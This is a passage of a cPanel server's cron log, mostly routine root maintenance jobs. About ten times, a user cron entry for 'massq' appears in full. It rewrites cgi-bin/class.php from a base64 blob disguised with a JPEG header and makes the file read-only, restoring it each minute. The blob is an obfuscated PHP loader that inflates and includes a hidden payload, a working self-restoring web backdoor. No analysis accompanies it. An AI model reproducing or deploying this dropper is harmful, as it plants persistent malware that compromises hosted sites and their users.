"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:10:01 server CROND[24759]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 03:10:01 server CROND[24760]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 03:10:01 server CROND[24764]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:10:01 server CROND[24761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:11:01 server CROND[25600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:11:01 server CROND[25602]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:11:01 server CROND[25603]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:12:01 server CROND[25983]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 03:12:01 server CROND[25984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:12:01 server CROND[25986]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:12:01 server CROND[25985]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:13:01 server CROND[26460]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:13:01 server CROND[26461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:13:01 server CROND[26462]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:14:01 server CROND[26878]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:14:01 server CROND[26879]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:14:01 server CROND[26881]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:15:01 server CROND[27288]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 03:15:01 server CROND[27290]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:15:01 server CROND[27297]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:15:01 server CROND[27298]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  2 03:15:01 server CROND[27300]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 03:15:01 server CROND[27296]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:15:01 server CROND[27299]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 03:15:01 server CROND[27302]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 03:16:01 server CROND[28247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:16:01 server CROND[28248]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:16:01 server CROND[28249]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:17:01 server CROND[28632]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:17:01 server CROND[28633]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:17:01 server CROND[28634]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:18:01 server CROND[29016]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:18:01 server CROND[29015]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:18:01 server CROND[29017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:19:01 server CROND[29489]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:19:01 server CROND[29490]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:19:01 server CROND[29491]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:20:01 server CROND[29892]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 03:20:01 server CROND[29895]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 03:20:01 server CROND[29897]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 03:20:01 server CROND[29905]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 03:20:01 server CROND[29907]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:20:01 server CROND[29908]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 03:20:01 server CROND[29912]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:20:01 server CROND[29904]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:20:01 server CROND[29903]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 03:21:01 server CROND[30770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:21:01 server CROND[30771]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:21:01 server CROND[30772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 03:22:01 server CROND[31153]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
